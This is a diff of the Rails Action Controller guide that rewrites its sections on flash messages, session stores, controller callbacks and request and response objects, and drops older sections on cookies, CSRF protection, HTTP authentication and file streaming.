+
+In addition to `:notice`, you can also use `:alert`. These are typically styled
+(using CSS) with different colors to indicate their meaning (e.g. green for
+notices and orange/red for alerts).
+
+You can also assign a flash message directly within the `redirect_to` method by
+including it as a parameter to `redirect_to`:
 
 ```ruby
 redirect_to root_url, notice: "You have successfully logged out."
-redirect_to root_url, alert: "You're stuck here!"
-redirect_to root_url, flash: { referral_code: 1234 }
+redirect_to root_url, alert: "There was an issue."
+```
+
+You're not limited to `notice` and `alert`.
+You can set any key in a flash (similar to sessions), by assigning it to the `:flash` argument.
+For example, assigning `:just_signed_up`:
+
+```ruby
+redirect_to root_url, flash: { just_signed_up: true }
+```
+
+This will allow you to have the below in the view:
+
+```erb
+<% if flash[:just_signed_up] %>
+  <p class="welcome">Welcome to our site!</p>
+<% end %>
 ```
 
-The `destroy` action redirects to the application's `root_url`, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display any error alerts or notices from the flash in the application's layout:
+In the above logout example, the `destroy` action redirects to the application's
+`root_url`, where the message is available to be displayed. However, it's not
+displayed automatically. It's up to the next action to decide what, if anything,
+it will do with what the previous action put in the flash.
+
+#### Displaying flash messages
+
+If a previous action _has_ set a flash message, it's a good idea to display that
+to the user. We can accomplish this consistently by adding the HTML for
+displaying any flash messages in the application's default layout. Here's an
+example from `app/views/layouts/application.html.erb`:
 
 ```erb
 <html>
@@ -518,29 +839,36 @@ The `destroy` action redirects to the application's `root_url`, where the messag
     <% end -%>
 
     <!-- more content -->
+    <%= yield %>
   </body>
 </html>
 ```
 
-This way, if an action sets a notice or an alert message, the layout will display it automatically.
+The `name` above indicates the type of flash message, such as `notice` or
+`alert`. This information is normally used to style how the message is displayed
+to the user.
 
-You can pass anything that the session can store; you're not limited to notices and alerts:
+TIP: You can filter by `name` if you want to limit to displaying only `notice`
+and `alert` in layout. Otherwise, all keys set in the `flash` will be displayed.
 
-```erb
-<% if flash[:just_signed_up] %>
-  <p class="welcome">Welcome to our site!</p>
-<% end %>
-```
+Including the reading and displaying of flash messages in the layout ensures
+that your application will display these automatically, without each view having
+to include logic to read the flash.
 
-If you want a flash value to be carried over to another request, use the `keep` method:
+#### `flash.keep` and `flash.now`
+
+[`flash.keep`][] is used to carry over the flash value through to an additional
+request. This is useful when there are multiple redirects.
+
+For example, assume that the `index` action in the controller below corresponds
+to the `root_url`. And you want all requests here to be redirected to
+`UsersController#index`. If an action sets the flash and redirects to
+`MainController#index`, those flash values will be lost when another redirect
+happens, unless you use `flash.keep` to make the values persist for another
+request.
 
 ```ruby
 class MainController < ApplicationController
-  # Let's say this action corresponds to root_url, but you want
-  # all requests here to be redirected to UsersController#index.
-  # If an action sets the flash and redirects here, the values
-  # would normally be lost when another redirect happens, but you
-  # can use 'keep' to make it persist for another request.
   def index
     # Will persist all flash values.
     flash.keep
@@ -552,14 +880,17 @@ class MainController < ApplicationController
 end
 ```
 
-#### `flash.now`
-
-By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the `create` action fails to save a resource and you render the `new` template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use `flash.now` in the same way you use the normal `flash`:
+[`flash.now`][] is used to make the flash values available in the same request.
+By default, adding values to the flash will make them available to the next
+request. For example, if the `create` action fails to save a resource, and you
+render the `new` template directly, that's not going to result in a new request,
+but you may still want to display a message using the flash. To do this, you can
+use [`flash.now`][] in the same way you use the normal `flash`:
 
 ```ruby
 class ClientsController < ApplicationController
   def create
-    @client = Client.new(params[:client])
+    @client = Client.new(client_params)
     if @client.save
       # ...
     else
@@ -570,142 +901,148 @@ class ClientsController < ApplicationController
 end
 ```
 
-Cookies
--------
+[`flash`]:
+    https://api.rubyonrails.org/classes/ActionDispatch/Flash/RequestMethods.html#method-i-flash
+[`flash.keep`]:
+    https://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html#method-i-keep
+[`flash.now`]:
+    https://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html#method-i-now
 
-Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which - much like the `session` - works like a hash:
+### Session Stores
 
-```ruby
-class CommentsController < ApplicationController
-  def new
-    # Auto-fill the commenter's name if it has been stored in a cookie
-    @comment = Comment.new(author: cookies[:commenter_name])
-  end
+All sessions have a unique ID that represents the session object; these session
+IDs are stored in a cookie. The actual session objects use one of the following
+storage mechanisms:
 
-  def create
-    @comment = Comment.new(params[:comment])
-    if @comment.save
-      flash[:notice] = "Thanks for your comment!"
-      if params[:remember_name]
-        # Remember the commenter's name.
-        cookies[:commenter_name] = @comment.author
-      else
-        # Delete cookie for the commenter's name cookie, if any.
-        cookies.delete(:commenter_name)
-      end
-      redirect_to @comment.article
-    else
-      render action: "new"
-    end
-  end
-end
-```
+* [`ActionDispatch::Session::CookieStore`][] - Stores everything on the client.
+* [`ActionDispatch::Session::CacheStore`][] - Stores the data in the Rails
+  cache.
+* [`ActionDispatch::Session::ActiveRecordStore`][activerecord-session_store] -
+  Stores the data in a database using Active Record (requires the
+  [`activerecord-session_store`][activerecord-session_store] gem).
+* A custom store or a store provided by a third party gem.
 
-Note that while for session values you set the key to `nil`, to delete a cookie value you should use `cookies.delete(:key)`.
+For most session stores, the unique session ID in the cookie is used to look up
+session data on the server (e.g. a database table). Rails does not allow you to
+pass the session ID in the URL as this is less secure.
 
-Rails also provides a signed cookie jar and an encrypted cookie jar for storing
-sensitive data. The signed cookie jar appends a cryptographic signature on the
-cookie values to protect their integrity. The encrypted cookie jar encrypts the
-values in addition to signing them, so that they cannot be read by the end user.
-Refer to the [API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html)
-for more details.
+#### `CookieStore`
 
-These special cookie jars use a serializer to serialize the assigned values into
-strings and deserializes them into Ruby objects on read.
+The `CookieStore` is the default and recommended session store. It stores all
+session data in the cookie itself (the session ID is still available to you if
+you need it). The `CookieStore` is lightweight and does not require any
+configuration to use in a new application.
 
-You can specify what serializer to use:
+The `CookieStore` can store 4 kB of data - much less than the other storage
+options - but this is usually enough. Storing large amounts of data in the
+session is discouraged. You should especially avoid storing complex objects
+(such as model instances) in the session.
 
-```ruby
-Rails.application.config.action_dispatch.cookies_serializer = :json
-```
+#### `CacheStore`
+
+You can use the `CacheStore` if your sessions don't store critical data or don't
+need to be around for long periods (for instance if you just use the flash for
+messaging). This will store sessions using the cache implementation you have
+configured for your application. The advantage is that you can use your existing
+cache infrastructure for storing sessions without requiring any additional setup
+or administration. The downside is that the session storage will be temporary
+and they could disappear at any time.
 
-The default serializer for new applications is `:json`. For compatibility with
-old applications with existing cookies, `:marshal` is used when `serializer`
-option is not specified.
+Read more about session storage in the [Security Guide](security.html#sessions).
 
-You may also set this option to `:hybrid`, in which case Rails would transparently
-deserialize existing (`Marshal`-serialized) cookies on read and re-write them in
-the `JSON` format. This is useful for migrating existing applications to the
-`:json` serializer.
+### Session Storage Options
 
-It is also possible to pass a custom serializer that responds to `load` and
-`dump`:
+There are a few configuration options related to session storage. You can
+configure the type of storage in an initializer:
 
 ```ruby
-Rails.application.config.action_dispatch.cookies_serializer = MyCustomSerializer
+Rails.application.config.session_store :cache_store
 ```
 
-When using the `:json` or `:hybrid` serializer, you should beware that not all
-Ruby objects can be serialized as JSON. For example, `Date` and `Time` objects
-will be serialized as strings, and `Hash`es will have their keys stringified.
+Rails sets up a session key (the name of the cookie) when signing the session
+data. These can also be changed in an initializer:
 
 ```ruby
-class CookiesController < ApplicationController
-  def set_cookie
-    cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
-    redirect_to action: 'read_cookie'
-  end
-
-  def read_cookie
-    cookies.encrypted[:expiration_date] # => "2014-03-20"
-  end
-end
+Rails.application.config.session_store :cookie_store, key: "_your_app_session"
 ```
 
-It's advisable that you only store simple data (strings and numbers) in cookies.
-If you have to store complex objects, you would need to handle the conversion
-manually when reading the values on subsequent requests.
+NOTE: Be sure to restart your server when you modify an initializer file.
 
-If you use the cookie session store, this would apply to the `session` and
-`flash` hash as well.
+You can also pass a `:domain` key and specify the domain name for the cookie:
 
-Rendering XML and JSON data
----------------------------
+```ruby
+Rails.application.config.session_store :cookie_store, key: "_your_app_session", domain: ".example.com"
+```
 
-ActionController makes it extremely easy to render `XML` or `JSON` data. If you've generated a controller using scaffolding, it would look something like this:
+TIP: See [`config.session_store`](configuring.html#config-session-store) in the
+configuration guide for more information.
 
-```ruby
-class UsersController < ApplicationController
-  def index
-    @users = User.all
-    respond_to do |format|
-      format.html # index.html.erb
-      format.xml  { render xml: @users}
-      format.json { render json: @users}
-    end
-  end
-end
+Rails sets up a secret key for `CookieStore` used for signing the session data
+in `config/credentials.yml.enc`. The credentials can be updated with `bin/rails
+credentials:edit`.
+
+```yaml
+# aws:
+#   access_key_id: 123
+#   secret_access_key: 345
+
+# Used as the base secret for all MessageVerifiers in Rails, including the one protecting cookies.
+secret_key_base: 492f...
 ```
 
-You may notice in the above code that we're using `render xml: @users`, not `render xml: @users.to_xml`. If the object is not a String, then Rails will automatically invoke `to_xml` for us.
+WARNING: Changing the `secret_key_base` when using the `CookieStore` will
+invalidate all existing sessions. You'll need to configure a [cookie rotator](https://edgeguides.rubyonrails.org/configuring.html#config-action-dispatch-cookies-rotations)
+to rotate existing sessions.
 
-Filters
--------
+[`ActionDispatch::Session::CookieStore`]:
+    https://api.rubyonrails.org/classes/ActionDispatch/Session/CookieStore.html
+[`ActionDispatch::Session::CacheStore`]:
+    https://api.rubyonrails.org/classes/ActionDispatch/Session/CacheStore.html
+[activerecord-session_store]:
+    https://github.com/rails/activerecord-session_store
+
+Controller Callbacks
+--------------------
 
-Filters are methods that are run "before", "after" or "around" a controller action.
+Controller callbacks are methods that are defined to automatically run before
+and/or after a controller action. A controller callback method can be defined in
+a given controller or in the `ApplicationController`. Since all controllers
+inherit from `ApplicationController`, callbacks defined here will run on every
+controller in your application.
 
-Filters are inherited, so if you set a filter on `ApplicationController`, it will be run on every controller in your application.
+### `before_action`
 
-"before" filters may halt the request cycle. A common "before" filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:
+Callback methods registered via [`before_action`][] run _before_ a controller
+action. They may halt the request cycle. A common use case for `before_action`
+is ensuring that a user is logged in:
 
 ```ruby
 class ApplicationController < ActionController::Base
   before_action :require_login
 
   private
-
-  def require_login
-    unless logged_in?
-      flash[:error] = "You must be logged in to access this section"
-      redirect_to new_login_url # halts request cycle
+    def require_login
+      unless logged_in?
+        flash[:error] = "You must be logged in to access this section"
+        redirect_to new_login_url # halts request cycle
+      end
     end
-  end
 end
 ```
 
-The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a "before" filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter, they are also cancelled.
+The method stores an error message in the flash and redirects to the login form
+if the user is not already logged in. When a `before_action` callback renders or
+redirects (like in the example above), the original controller action is not
+run. If there are additional callbacks registered to run, they are also
+cancelled and not run.
 
-In this example the filter is added to `ApplicationController` and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with `skip_before_action`:
+In this example, the `before_action` is defined in `ApplicationController` so
+all controllers in the application inherit it. That implies that all requests in
+the application will require the user to be logged in. This is fine except for
+the "login" page. The "login" action should succeed even when the user is not
+logged in (to allow the user to log in) otherwise the user will never be able to
+log in. You can use [`skip_before_action`][] to allow specified controller
+actions to skip a given `before_action`:
 
 ```ruby
 class LoginsController < ApplicationController
@@ -713,45 +1050,79 @@ class LoginsController < ApplicationController
 end
 ```
 
-Now, the `LoginsController`'s `new` and `create` actions will work as before without requiring the user to be logged in. The `:only` option is used to skip this filter only for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
+Now, the `LoginsController`'s `new` and `create` actions will work without
+requiring the user to be logged in.
 
-### After Filters and Around Filters
+The `:only` option skips the callback only for the listed actions; there is also
+an `:except` option which works the other way. These options can be used when
+registering action callbacks too, to add callbacks which only run for selected
+actions.
 
-In addition to "before" filters, you can also run filters after an action has been executed, or both before and after.
+NOTE: If you register the same action callback multiple times with different
+options, the last action callback definition will overwrite the previous ones.
 
-"after" filters are similar to "before" filters, but because the action has already been run they have access to the response data that's about to be sent to the client. Obviously, "after" filters cannot stop the action from running.
+[`before_action`]: https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-before_action
+[`skip_before_action`]: https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-skip_before_action
 
-"around" filters are responsible for running their associated actions by yielding, similar to how Rack middlewares work.
+### `after_action` and `around_action`
 
-For example, in a website where changes have an approval workflow an administrator could be able to preview them easily, just apply them within a transaction:
+You can also define action callbacks to run _after_ a controller action has been
+executed with [`after_action`][], or to run both before and after with
+[`around_action`][].
+
+The `after_action` callbacks are similar to `before_action` callbacks, but
+because the controller action has already been run they have access to the
+response data that's about to be sent to the client.
+
+NOTE: `after_action` callbacks are executed only after a successful controller
+action, and not if an exception is raised in the request cycle.
+
+The `around_action` callbacks are useful when you want to execute code before
+and after a controller action, allowing you to encapsulate functionality that
+affects the action's execution. They are responsible for running their
+associated actions by yielding.
+
+For example, imagine you want to monitor the performance of specific actions.
+You could use an `around_action` to measure how long each action takes to
+complete and log this information:
 
 ```ruby
-class ChangesController < ApplicationController
-  around_action :wrap_in_transaction, only: :show
+class ApplicationController < ActionController::Base
+  around_action :measure_execution_time
 
   private
+    def measure_execution_time
+      start_time = Time.now
+      yield  # This executes the action
+      end_time = Time.now
 
-  def wrap_in_transaction
-    ActiveRecord::Base.transaction do
-      begin
-        yield
-      ensure
-        raise ActiveRecord::Rollback
-      end
+      duration = end_time - start_time
+      Rails.logger.info "Action #{action_name} from controller #{controller_name} took #{duration.round(2)} seconds to execute."
     end
-  end
 end
 ```
 
-Note that an "around" filter also wraps rendering. In particular, if in the example above, the view itself reads from the database (e.g. via a scope), it will do so within the transaction and thus present the data to preview.
+TIP: Action callbacks receive `controller_name` and `action_name` as parameters
+you can use, as shown in the example above.
+
+The `around_action` callback also wraps rendering. In the example above, view
+rendering will be included in the `duration`. The code after the `yield` in an
+`around_action` is run even when there is an exception in the associated action
+and there is an `ensure` block in the callback. (This is different from
+`after_action` callbacks where an exception in the action cancels the
+`after_action` code.)
 
-You can choose not to yield and build the response yourself, in which case the action will not be run.
+[`after_action`]: https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-after_action
+[`around_action`]: https://api.rubyonrails.org/classes/AbstractController/Callbacks/ClassMethods.html#method-i-around_action
 
-### Other Ways to Use Filters
+### Other Ways to Use Callbacks
 
-While the most common way to use filters is by creating private methods and using *_action to add them, there are two other ways to do the same thing.
+In addition to `before_action`, `after_action`, or `around_action`, there are
+two less common ways to register callbacks.
 
-The first is to use a block directly with the *\_action methods. The block receives the controller as an argument. The `require_login` filter from above could be rewritten to use a block:
+The first is to use a block directly with the `*_action` methods. The block
+receives the controller as an argument. For example, the `require_login` action
+callback from above could be rewritten to use a block:
 
 ```ruby
 class ApplicationController < ActionController::Base
@@ -764,452 +1135,188 @@ class ApplicationController < ActionController::Base
 end
 ```
 
-Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter does not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
+Note that the action callback, in this case, uses `send` because the
+`logged_in?` method is private, and the action callback does not run in the
+scope of the controller. This is not the recommended way to implement this
+particular action callback, but in simpler cases, it might be useful.
 
-The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and cannot be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
+Specifically for `around_action`, the block also yields in the `action`:
 
 ```ruby
-class ApplicationController < ActionController::Base
-  before_action LoginFilter
-end
-
-class LoginFilter
-  def self.before(controller)
-    unless controller.send(:logged_in?)
-      controller.flash[:error] = "You must be logged in to access this section"
-      controller.redirect_to controller.new_login_url
-    end
-  end
-end
+around_action { |_controller, action| time(&action) }
 ```
 
-Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class must implement a method with the same name as the filter, so for the `before_action` filter the class must implement a `before` method, and so on. The `around` method must `yield` to execute the action.
-
-Request Forgery Protection
---------------------------
-
-Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission.
-
-The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests.
-
-The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.
-
-If you generate a form like this:
-
-```erb
-<%= form_for @user do |f| %>
-  <%= f.text_field :username %>
-  <%= f.text_field :password %>
-<% end %>
-```
-
-You will see how the token gets added as a hidden field:
-
-```html
-<form accept-charset="UTF-8" action="/users/1" method="post">
-<input type="hidden"
-       value="67250ab105eb5ad10851c00a5621854a23af5489"
-       name="authenticity_token"/>
-<!-- fields -->
-</form>
-```
-
-Rails adds this token to every form that's generated using the [form helpers](form_helpers.html), so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method `form_authenticity_token`:
-
-The `form_authenticity_token` generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls.
-
-The [Security Guide](security.html) has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
-
-The Request and Response Objects
---------------------------------
-
-In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The `request` method contains an instance of `ActionDispatch::Request` and the `response` method returns a response object representing what is going to be sent back to the client.
-
-### The `request` Object
-
-The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the [Rails API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Request.html) and [Rack Documentation](http://www.rubydoc.info/github/rack/rack/Rack/Request). Among the properties that you can access on this object are:
-
-| Property of `request`                     | Purpose                                                                          |
-| ----------------------------------------- | -------------------------------------------------------------------------------- |
-| host                                      | The hostname used for this request.                                              |
-| domain(n=2)                               | The hostname's first `n` segments, starting from the right (the TLD).            |
-| format                                    | The content type requested by the client.                                        |
-| method                                    | The HTTP method used for the request.                                            |
-| get?, post?, patch?, put?, delete?, head? | Returns true if the HTTP method is GET/POST/PATCH/PUT/DELETE/HEAD.               |
-| headers                                   | Returns a hash containing the headers associated with the request.               |
-| port                                      | The port number (integer) used for the request.                                  |
-| protocol                                  | Returns a string containing the protocol used plus "://", for example "http://". |
-| query_string                              | The query string part of the URL, i.e., everything after "?".                    |
-| remote_ip                                 | The IP address of the client.                                                    |
-| url                                       | The entire URL used for the request.                                             |
-
-#### `path_parameters`, `query_parameters`, and `request_parameters`
-
-Rails collects all of the parameters sent along with the request in the `params` hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The `query_parameters` hash contains parameters that were sent as part of the query string while the `request_parameters` hash contains parameters sent as part of the post body. The `path_parameters` hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.
-
-### The `response` Object
-
-The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values. To get a full list of the available methods, refer to the [Rails API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Response.html) and [Rack Documentation](http://www.rubydoc.info/github/rack/rack/Rack/Response).
-
-| Property of `response` | Purpose                                                                                             |
-| ---------------------- | --------------------------------------------------------------------------------------------------- |
-| body                   | This is the string of data being sent back to the client. This is most often HTML.                  |
-| status                 | The HTTP status code for the response, like 200 for a successful request or 404 for file not found. |
-| location               | The URL the client is being redirected to, if any.                                                  |
-| content_type           | The content type of the response.                                                                   |
-| charset                | The character set being used for the response. Default is "utf-8".                                  |
-| headers                | Headers used for the response.                                                                      |
-
-#### Setting Custom Headers
-
-If you want to set custom headers for a response then `response.headers` is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to `response.headers` this way:
-
-```ruby
-response.headers["Content-Type"] = "application/pdf"
-```
-
-Note: in the above case it would make more sense to use the `content_type` setter directly.
-
-HTTP Authentications
---------------------
-
-Rails comes with two built-in HTTP authentication mechanisms:
-
-* Basic Authentication
-* Digest Authentication
-
-### HTTP Basic Authentication
-
-HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `http_basic_authenticate_with`.
-
-```ruby
-class AdminsController < ApplicationController
-  http_basic_authenticate_with name: "humbaba", password: "5baa61e4"
-end
-```
-
-With this in place, you can create namespaced controllers that inherit from `AdminsController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
-
-### HTTP Digest Authentication
-
-HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, `authenticate_or_request_with_http_digest`.
-
-```ruby
-class AdminsController < ApplicationController
-  USERS = { "lifo" => "world" }
-
-  before_action :authenticate
-
-  private
-
-    def authenticate
-      authenticate_or_request_with_http_digest do |username|
-        USERS[username]
-      end
-    end
-end
-```
-
-As seen in the example above, the `authenticate_or_request_with_http_digest` block takes only one argument - the username. And the block returns the password. Returning `false` or `nil` from the `authenticate_or_request_with_http_digest` will cause authentication failure.
-
-Streaming and File Downloads
-----------------------------
-
-Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the `send_data` and the `send_file` methods, which will both stream data to the client. `send_file` is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you.
-
-To stream data to the client, use `send_data`:
+The second way is to specify a class (or any object that responds to the
+expected methods) for the callback action. This can be useful in cases that are
+more complex. As an example, you could rewrite the `around_action` callback to
+measure execution time with a class:
 
 ```ruby
-require "prawn"
-class ClientsController < ApplicationController
-  # Generates a PDF document with information on the client and
-  # returns it. The user will get the PDF as a file download.
-  def download_pdf
-    client = Client.find(params[:id])
-    send_data generate_pdf(client),
-              filename: "#{client.name}.pdf",
-              type: "application/pdf"
-  end
-
-  private
-
-    def generate_pdf(client)
-      Prawn::Document.new do
-        text client.name, align: :center
-        text "Address: #{client.address}"
-        text "Email: #{client.email}"
-      end.render
-    end
-end
-```
-
-The `download_pdf` action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the `:disposition` option to "inline". The opposite and default value for this option is "attachment".
-
-### Sending Files
-
-If you want to send a file that already exists on disk, use the `send_file` method.
-
-```ruby
-class ClientsController < ApplicationController
-  # Stream a file that has already been generated and stored on disk.
-  def download_pdf
-    client = Client.find(params[:id])
-    send_file("#{Rails.root}/files/clients/#{client.id}.pdf",
-              filename: "#{client.name}.pdf",
-              type: "application/pdf")
-  end
+class ApplicationController < ActionController::Base
+  around_action ActionDurationCallback
 end
-```
-
-This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the `:stream` option or adjust the block size with the `:buffer_size` option.
-
-If `:type` is not specified, it will be guessed from the file extension specified in `:filename`. If the content type is not registered for the extension, `application/octet-stream` will be used.
-
-WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to.
-
-TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.
 
-### RESTful Downloads
+class ActionDurationCallback
+  def self.around(controller)
+    start_time = Time.now
+    yield # This executes the action
+    end_time = Time.now
 
-While `send_data` works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the `show` action, without any streaming:
-
-```ruby
-class ClientsController < ApplicationController
-  # The user can request to receive this resource as HTML or PDF.
-  def show
-    @client = Client.find(params[:id])
-
-    respond_to do |format|
-      format.html
-      format.pdf { render pdf: generate_pdf(@client) }
-    end
+    duration = end_time - start_time
+    Rails.logger.info "Action #{controller.action_name} from controller #{controller.controller_name} took #{duration.round(2)} seconds to execute."
   end
 end
 ```
 
-In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file `config/initializers/mime_types.rb`:
+In above example, the `ActionDurationCallback`'s method is not run in the scope
+of the controller but gets `controller` as an argument.
 
-```ruby
-Mime::Type.register "application/pdf", :pdf
-```
-
-NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
+In general, the class being used for a `*_action` callback must implement a
+method with the same name as the action callback. So for the `before_action`
+callback, the class must implement a `before` method, and so on. Also,
+the `around` method must `yield` to execute the action.
 
-Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:
+The Request and Response Objects
+--------------------------------
 
-```bash
-GET /clients/1.pdf
-```
+Every controller has two methods, [`request`][] and [`response`][], which can be
+used to access the request and response objects associated with the
+current request cycle. The `request` method returns an instance of
+[`ActionDispatch::Request`][]. The [`response`][] method returns an instance
+of [`ActionDispatch::Response`][], an object representing what is going to be
+sent back to the client browser (e.g. from `render` or `redirect` in the
+controller action).
 
-### Live Streaming of Arbitrary Data
+[`ActionDispatch::Request`]: https://api.rubyonrails.org/classes/ActionDispatch/Request.html
+[`request`]: https://api.rubyonrails.org/classes/ActionController/Base.html#method-i-request
+[`response`]: https://api.rubyonrails.org/classes/ActionController/Base.html#method-i-response
+[`ActionDispatch::Response`]: https://api.rubyonrails.org/classes/ActionDispatch/Response.html
 
-Rails allows you to stream more than just files. In fact, you can stream anything
-you would like in a response object. The `ActionController::Live` module allows
-you to create a persistent connection with a browser. Using this module, you will
-be able to send arbitrary data to the browser at specific points in time.
+### The `request` Object
 
+The request object contains useful information about the request coming in from
+the client. This section describes the purpose of some of the properties of the
+`request` object.
 
-#### Incorporating Live Streaming
+To get a full list of the available methods, refer to the [Rails API
+documentation](https://api.rubyonrails.org/classes/ActionDispatch/Request.html)
+and [Rack](https://rack.github.io/rack/main/Rack/Request.html)
+documentation.
 
-Including `ActionController::Live` inside of your controller class will provide
-all actions inside of the controller the ability to stream data. You can mix in
-the module like so:
+| Property of `request`                     | Purpose                                                                          |
+| ----------------------------------------- | -------------------------------------------------------------------------------- |
+| `host`                                    | The hostname used for this request.                                              |
+| `domain(n=2)`                             | The hostname's first `n` segments, starting from the right (the TLD).            |
+| `format`                                  | The content type requested by the client.                                        |
+| `method`                                  | The HTTP method used for the request.                                            |
+| `get?`, `post?`, `patch?`, `put?`, `delete?`, `head?` | Returns true if the HTTP method is GET/POST/PATCH/PUT/DELETE/HEAD.   |
+| `headers`                                 | Returns a hash containing the headers associated with the request.               |
+| `port`                                    | The port number (integer) used for the request.                                  |
+| `protocol`                                | Returns a string containing the protocol used plus "://", for example "http://". |
+| `query_string`                            | The query string part of the URL, i.e., everything after "?".                    |
+| `remote_ip`                               | The IP address of the client.                                                    |
+| `url`                                     | The entire URL used for the request.                                             |
+
+#### `query_parameters`, `request_parameters`, and `path_parameters`
+
+Rails collects all of the parameters for a given request in the `params` hash,
+including the ones set in the URL as query string parameters, and those sent as
+the body of a `POST` request. The request object has three methods that give you
+access to the various parameters.
+
+* [`query_parameters`][] - contains parameters that were sent as part of the
+  query string.
+* [`request_parameters`][] - contains parameters sent as part of the post body.
+* [`path_parameters`][] - contains parameters parsed by the router as being part
+  of the path leading to this particular controller and action.
+
+[`path_parameters`]: https://api.rubyonrails.org/classes/ActionDispatch/Http/Parameters.html#method-i-path_parameters
+[`query_parameters`]: https://api.rubyonrails.org/classes/ActionDispatch/Request.html#method-i-query_parameters
+[`request_parameters`]: https://api.rubyonrails.org/classes/ActionDispatch/Request.html#method-i-request_parameters
+
+#### `request.variant`
+
+Controllers might need to tailor a response based on context-specific
+information in a request. For example, controllers responding to requests from a
+mobile platform might need to render different content than requests from a
+desktop browser. One strategy to accomplish this is by customizing a request's
+variant. Variant names are arbitrary, and can communicate anything from the
+request's platform (`:android`, `:ios`, `:linux`, `:macos`, `:windows`) to its
+browser (`:chrome`, `:edge`, `:firefox`, `:safari`), to the type of user
+(`:admin`, `:guest`, `:user`).
+
+You can set the [`request.variant`](https://api.rubyonrails.org/classes/ActionDispatch/Http/MimeNegotiation.html#method-i-variant-3D) in a `before_action`:
 
 ```ruby
-class MyController < ActionController::Base
-  include ActionController::Live
-
-  def stream
-    response.headers['Content-Type'] = 'text/event-stream'
-    100.times {
-      response.stream.write "hello world\n"
-      sleep 1
-    }
-  ensure
-    response.stream.close
-  end
-end
+request.variant = :tablet if request.user_agent.include?("iPad")
 ```
 
-The above code will keep a persistent connection with the browser and send 100
-messages of `"hello world\n"`, each one second apart.
-
-There are a couple of things to notice in the above example. We need to make
-sure to close the response stream. Forgetting to close the stream will leave
-the socket open forever. We also have to set the content type to `text/event-stream`
-before we write to the response stream. This is because headers cannot be written
-after the response has been committed (when `response.committed?` returns a truthy
-value), which occurs when you `write` or `commit` the response stream.
-
-#### Example Usage
-
-Let's suppose that you were making a Karaoke machine and a user wants to get the
-lyrics for a particular song. Each `Song` has a particular number of lines and
-each line takes time `num_beats` to finish singing.
-
